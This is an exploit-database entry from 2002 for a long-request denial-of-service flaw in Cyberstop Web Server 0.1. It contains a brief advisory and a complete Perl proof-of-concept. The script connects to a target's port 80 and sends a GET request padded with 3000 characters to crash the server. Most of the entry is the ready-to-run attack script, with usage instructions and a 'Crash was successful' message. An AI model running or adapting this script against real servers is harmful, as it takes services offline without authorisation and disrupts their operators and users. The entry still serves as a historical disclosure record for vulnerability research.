Cyberstop Web Server 0.1 - Long Request Denial of Service

ID EXPLOITPACK:5819D2D5F611E43DE16383E43D79A0F9
Type exploitpack
Reporter Alex Hernandez
Modified 2002-01-22T00:00:00


Cyberstop Web Server 0.1 - Long Request Denial of Service


Cyberstop is a web server for Windows 9x/NT/2000 systems.

Attacks can be launched on a Cyberstop host if a request is submitted containing an unusual number of arbitrary characters. Cyberstop web server will stop responding, a restart of the application may be required in order to regain normal functionality. 

# Simple script to send a long 'A^s' command to the server, 
# resulting in the server crashing.
# CyberStop WEbserver v0.1 proof-of-concept exploit
# By Alex Hernandez <> (C)2002.
# Thanks all the people from Spain and Argentina.
# Special Greets: White-B, Pablo S0r, Paco Spain, L.Martins, 
# G.Maggiotti & H.Oliveira.
# Usage: perl -x -s <server>
# Example: 
# perl -x -s
# Crash was successful !

use Getopt::Std;
use IO::Socket;

print("\nCyberStop WEbserver v0.1 DoS exploit (c)2002.\n");
print("Alex Hernandez al3xhernandez\\n\n");

getopts('s:', \%args);


$def = "A";
$num = "3000";
$data .= $def x $num;
$serv = $args{s};
$port = 80;
$buf = "GET /$data /HTTP/1.0\r\n\r\n";

$in_addr = (gethostbyname($serv))[4] || die("Error: $!\n");
$paddr = sockaddr_in($port, $in_addr) || die ("Error: $!\n");
$proto = getprotobyname('tcp') || die("Error: $!\n");

socket(S, PF_INET, SOCK_STREAM, $proto) || die("Error: $!");
connect(S, $paddr) ||die ("Error: $!");
select(S); $| = 1; select(STDOUT);
print S "$buf";

print("\nCrash was successful !\n\n");

sub usage {die("\n\nUsage: perl -x $0 -s <server>\n\n");}